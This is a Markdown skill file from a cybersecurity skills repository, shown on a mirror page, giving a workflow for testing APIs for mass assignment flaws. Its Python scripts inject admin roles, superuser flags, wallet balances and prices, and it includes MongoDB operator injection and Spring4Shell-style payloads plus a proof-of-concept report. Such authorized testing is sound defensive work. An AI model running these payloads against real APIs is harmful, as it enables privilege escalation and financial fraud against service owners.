mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-12 06:04:56 +03:00
efca3ec611
Mapped every skill to NIST CSF 2.0 subcategory IDs (GV/ID/PR/DE/RS/RC functions) based on subdomain and content analysis. Restores 11 skills corrupted during prior rebase, re-enriching with ATLAS, D3FEND, NIST AI RMF, and CSF 2.0 fields. All 754 skills now carry structured mappings for all 5 security frameworks: - MITRE ATT&CK (in tags) - MITRE ATLAS v5.5 (atlas_techniques) - MITRE D3FEND v1.3 (d3fend_techniques) - NIST AI RMF 1.0 (nist_ai_rmf) - NIST CSF 2.0 (nist_csf)
354 lines
16 KiB
Markdown
354 lines
16 KiB
Markdown
---
|
|
name: testing-api-for-mass-assignment-vulnerability
|
|
description: 'Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they
|
|
should not have access to by including additional parameters in API requests. The tester identifies writable endpoints,
|
|
adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the
|
|
data model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests
|
|
involving mass assignment testing, parameter binding abuse, auto-binding vulnerability, or API over-posting.
|
|
|
|
'
|
|
domain: cybersecurity
|
|
subdomain: api-security
|
|
tags:
|
|
- api-security
|
|
- owasp
|
|
- mass-assignment
|
|
- auto-binding
|
|
- parameter-tampering
|
|
version: 1.0.0
|
|
author: mahipal
|
|
license: Apache-2.0
|
|
nist_csf:
|
|
- PR.PS-01
|
|
- ID.RA-01
|
|
- PR.DS-10
|
|
- DE.CM-01
|
|
---
|
|
# Testing API for Mass Assignment Vulnerability
|
|
|
|
## When to Use
|
|
|
|
- Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
|
|
- Assessing whether the API binds all client-supplied properties to the data model without an allowlist
|
|
- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
|
|
- Testing APIs built with ORMs that auto-bind request parameters to database models
|
|
- Validating that server-side input validation restricts writeable properties per user role
|
|
|
|
**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.
|
|
|
|
## Prerequisites
|
|
|
|
- Written authorization specifying target API endpoints and scope
|
|
- Test accounts at different privilege levels
|
|
- API documentation or OpenAPI specification to identify expected request fields
|
|
- Burp Suite Professional for request interception and parameter injection
|
|
- Python 3.10+ with `requests` library
|
|
- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior
|
|
|
|
## Workflow
|
|
|
|
### Step 1: Identify Writable Endpoints and Expected Parameters
|
|
|
|
```python
|
|
import requests
|
|
import json
|
|
import copy
|
|
|
|
BASE_URL = "https://target-api.example.com/api/v1"
|
|
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
|
|
|
|
# Identify endpoints that accept write operations
|
|
writable_endpoints = [
|
|
{"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
|
|
{"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
|
|
{"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
|
|
{"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
|
|
{"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
|
|
{"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
|
|
{"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
|
|
{"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
|
|
]
|
|
|
|
# First, get the current user state as baseline
|
|
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
|
|
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
|
|
```
|
|
|
|
### Step 2: Inject Privileged Fields
|
|
|
|
```python
|
|
# Fields that should never be user-writable
|
|
PRIVILEGE_FIELDS = {
|
|
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
|
|
"account_type": "admin", "accountType": "admin"},
|
|
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
|
|
"is_superuser": True, "isSuperuser": True, "superuser": True},
|
|
"permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
|
|
"groups": ["administrators"], "roles": ["admin"]},
|
|
"account_status": {"is_active": True, "isActive": True, "verified": True,
|
|
"email_verified": True, "is_verified": True, "status": "active"},
|
|
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
|
|
"price": 0.01, "amount": 0.01},
|
|
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
|
|
"created_by": 1, "createdBy": 1},
|
|
"internal": {"internal_notes": "test", "debug": True, "hidden": False,
|
|
"is_deleted": False, "is_featured": True, "priority": 0},
|
|
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
|
|
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
|
|
}
|
|
|
|
def test_mass_assignment(endpoint_info):
|
|
"""Test a writable endpoint for mass assignment vulnerabilities."""
|
|
method = endpoint_info["method"]
|
|
path = endpoint_info["path"]
|
|
expected = endpoint_info["expected_fields"]
|
|
findings = []
|
|
|
|
# Build a valid base request
|
|
base_body = {}
|
|
for field in expected:
|
|
if field == "email":
|
|
base_body[field] = "test@example.com"
|
|
elif field == "password":
|
|
base_body[field] = "SecurePass123!"
|
|
elif field == "name":
|
|
base_body[field] = "Test User"
|
|
elif field == "items":
|
|
base_body[field] = [{"product_id": 1, "quantity": 1}]
|
|
else:
|
|
base_body[field] = "test_value"
|
|
|
|
# Test each category of privileged fields
|
|
for category, fields in PRIVILEGE_FIELDS.items():
|
|
test_body = {**base_body, **fields}
|
|
resp = requests.request(method, f"{BASE_URL}{path}",
|
|
headers=user_headers, json=test_body)
|
|
|
|
if resp.status_code in (200, 201):
|
|
# Verify if the fields were actually set
|
|
resp_data = resp.json()
|
|
for field_name, injected_value in fields.items():
|
|
actual = resp_data.get(field_name)
|
|
if actual is not None and str(actual) == str(injected_value):
|
|
findings.append({
|
|
"endpoint": f"{method} {path}",
|
|
"category": category,
|
|
"field": field_name,
|
|
"injected_value": injected_value,
|
|
"confirmed": True
|
|
})
|
|
print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")
|
|
|
|
return findings
|
|
|
|
all_findings = []
|
|
for endpoint in writable_endpoints:
|
|
findings = test_mass_assignment(endpoint)
|
|
all_findings.extend(findings)
|
|
|
|
print(f"\nTotal mass assignment findings: {len(all_findings)}")
|
|
```
|
|
|
|
### Step 3: Verify Assignment Through State Change
|
|
|
|
```python
|
|
def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
|
|
"""Verify that the mass-assigned field actually persists in the database."""
|
|
# Re-fetch the object to confirm the field was saved
|
|
resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
|
|
if resp.status_code == 200:
|
|
current_state = resp.json()
|
|
actual_value = current_state.get(field_name)
|
|
if actual_value is not None:
|
|
match = str(actual_value) == str(injected_value)
|
|
print(f" Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
|
|
return match
|
|
return False
|
|
|
|
# Test role elevation via profile update
|
|
print("\n=== Role Elevation Test ===")
|
|
# Step 1: Check current role
|
|
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
|
|
print(f"Current role: {me.get('role', 'unknown')}")
|
|
|
|
# Step 2: Attempt to set admin role
|
|
update_resp = requests.put(f"{BASE_URL}/users/me",
|
|
headers=user_headers,
|
|
json={"name": me.get("name", "Test"), "role": "admin"})
|
|
print(f"Update response: {update_resp.status_code}")
|
|
|
|
# Step 3: Verify if role changed
|
|
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
|
|
print(f"Role after update: {me_after.get('role', 'unknown')}")
|
|
if me_after.get("role") == "admin":
|
|
print("[CRITICAL] Mass assignment: Role elevated to admin")
|
|
|
|
# Step 4: Test admin access
|
|
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
|
|
if admin_resp.status_code == 200:
|
|
print("[CRITICAL] Admin access confirmed after role elevation")
|
|
```
|
|
|
|
### Step 4: Framework-Specific Testing
|
|
|
|
```python
|
|
# Ruby on Rails / Active Record style
|
|
rails_payloads = [
|
|
{"user": {"name": "Test", "role": "admin", "admin": True}}, # Nested under model name
|
|
{"user[name]": "Test", "user[role]": "admin"}, # Form-style nested
|
|
]
|
|
|
|
# Django REST Framework style
|
|
django_payloads = [
|
|
{"username": "test", "is_staff": True, "is_superuser": True},
|
|
{"username": "test", "groups": [1]}, # Add to admin group by ID
|
|
]
|
|
|
|
# Express.js / Mongoose style
|
|
express_payloads = [
|
|
{"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # Override MongoDB _id
|
|
{"name": "test", "$set": {"role": "admin"}}, # MongoDB operator injection
|
|
]
|
|
|
|
# Spring Boot / JPA style
|
|
spring_payloads = [
|
|
{"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
|
|
{"name": "test", "class.module.classLoader": ""}, # Spring4Shell style
|
|
]
|
|
|
|
# Test each framework-specific payload
|
|
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
|
|
resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
|
|
if resp.status_code in (200, 201):
|
|
print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")
|
|
```
|
|
|
|
### Step 5: Order and Financial Object Mass Assignment
|
|
|
|
```python
|
|
# Test price/amount manipulation in e-commerce APIs
|
|
print("\n=== Financial Mass Assignment Tests ===")
|
|
|
|
# Test 1: Create order with manipulated price
|
|
order_body = {
|
|
"items": [{"product_id": 42, "quantity": 1}],
|
|
"shipping_address": {"street": "123 Test St", "city": "Test City"},
|
|
# Injected fields
|
|
"total": 0.01,
|
|
"subtotal": 0.01,
|
|
"discount_percent": 100,
|
|
"coupon_code": "FREEORDER",
|
|
"shipping_cost": 0,
|
|
"tax": 0,
|
|
}
|
|
|
|
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
|
|
if resp.status_code in (200, 201):
|
|
order = resp.json()
|
|
print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
|
|
if float(order.get("total", 999)) < 1.0:
|
|
print("[CRITICAL] Price manipulation via mass assignment")
|
|
|
|
# Test 2: Modify order status
|
|
resp = requests.patch(f"{BASE_URL}/orders/1001",
|
|
headers=user_headers,
|
|
json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
|
|
if resp.status_code == 200:
|
|
print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
|
|
|
|
# Test 3: User balance manipulation
|
|
resp = requests.put(f"{BASE_URL}/users/me/wallet",
|
|
headers=user_headers,
|
|
json={"amount": 10, "balance": 99999.99, "currency": "USD"})
|
|
if resp.status_code == 200:
|
|
wallet = resp.json()
|
|
if float(wallet.get("balance", 0)) > 10000:
|
|
print("[CRITICAL] Wallet balance manipulation via mass assignment")
|
|
```
|
|
|
|
## Key Concepts
|
|
|
|
| Term | Definition |
|
|
|------|------------|
|
|
| **Mass Assignment** | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |
|
|
| **Auto-Binding** | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |
|
|
| **Allowlist (Whitelist)** | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |
|
|
| **Blocklist (Blacklist)** | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |
|
|
| **Object Property Level Authorization** | OWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access |
|
|
| **DTO (Data Transfer Object)** | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |
|
|
|
|
## Tools & Systems
|
|
|
|
- **Burp Suite Professional**: Intercept write requests and inject additional parameters using Repeater and Intruder
|
|
- **Param Miner (Burp Extension)**: Automatically discovers hidden parameters by fuzzing request bodies and headers
|
|
- **Arjun**: Parameter discovery tool that finds hidden HTTP parameters in API endpoints
|
|
- **OWASP ZAP**: Active scanner with parameter injection capabilities for mass assignment detection
|
|
- **Postman**: API testing platform for crafting requests with injected parameters and verifying responses
|
|
|
|
## Common Scenarios
|
|
|
|
### Scenario: SaaS User Registration Mass Assignment
|
|
|
|
**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.
|
|
|
|
**Approach**:
|
|
1. Register a new user with only expected fields: `POST /api/v1/register {"name":"Test","email":"test@example.com","password":"Pass123!"}` - returns user with `role: "user"`
|
|
2. Register another user with injected role: `POST /api/v1/register {"name":"Admin","email":"admin@example.com","password":"Pass123!","role":"admin"}` - returns user with `role: "admin"`
|
|
3. Confirm admin access by calling admin endpoints with the new account
|
|
4. Test additional fields: `is_verified: true` bypasses email verification, `subscription_plan: "enterprise"` grants premium features
|
|
5. Test profile update endpoint: `PUT /api/v1/users/me {"name":"Test","balance":99999}` - wallet balance modified
|
|
|
|
**Pitfalls**:
|
|
- Only testing obvious fields like "role" and missing domain-specific fields like "subscription_plan", "credit_limit", or "verified"
|
|
- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)
|
|
- Assuming that blocklisting "role" prevents mass assignment when "isAdmin", "is_admin", or "admin" may also work
|
|
- Not testing both creation (POST) and update (PUT/PATCH) endpoints as they may have different filtering
|
|
- Missing nested object mass assignment where fields like `user.role` or `address.verified` can be injected
|
|
|
|
## Output Format
|
|
|
|
```
|
|
## Finding: Mass Assignment Enables Role Elevation via Registration API
|
|
|
|
**ID**: API-MASS-001
|
|
**Severity**: Critical (CVSS 9.8)
|
|
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
|
|
**Affected Endpoints**:
|
|
- POST /api/v1/register
|
|
- PUT /api/v1/users/me
|
|
- POST /api/v1/orders
|
|
|
|
**Description**:
|
|
The API binds all client-supplied JSON fields directly to the database model
|
|
without filtering. An attacker can include undocumented fields in registration
|
|
and update requests to elevate their role to admin, bypass email verification,
|
|
modify wallet balances, and manipulate order pricing.
|
|
|
|
**Proof of Concept**:
|
|
1. Register with injected role:
|
|
POST /api/v1/register
|
|
{"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"}
|
|
Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
|
|
|
|
2. Update profile with injected balance:
|
|
PUT /api/v1/users/me
|
|
{"name":"Attacker","balance":99999.99}
|
|
Response: {"id":5001,"balance":99999.99}
|
|
|
|
3. Create order with manipulated price:
|
|
POST /api/v1/orders
|
|
{"items":[{"product_id":42,"qty":1}],"total":0.01}
|
|
Response: {"order_id":8001,"total":0.01}
|
|
|
|
**Impact**:
|
|
Any user can gain administrative access, manipulate financial data,
|
|
bypass security controls, and purchase products at arbitrary prices.
|
|
|
|
**Remediation**:
|
|
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
|
|
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
|
|
3. Never bind request parameters directly to the data model
|
|
4. Add integration tests that verify undocumented fields are rejected
|
|
5. Use an allowlist approach rather than blocklist for writable fields
|
|
```
|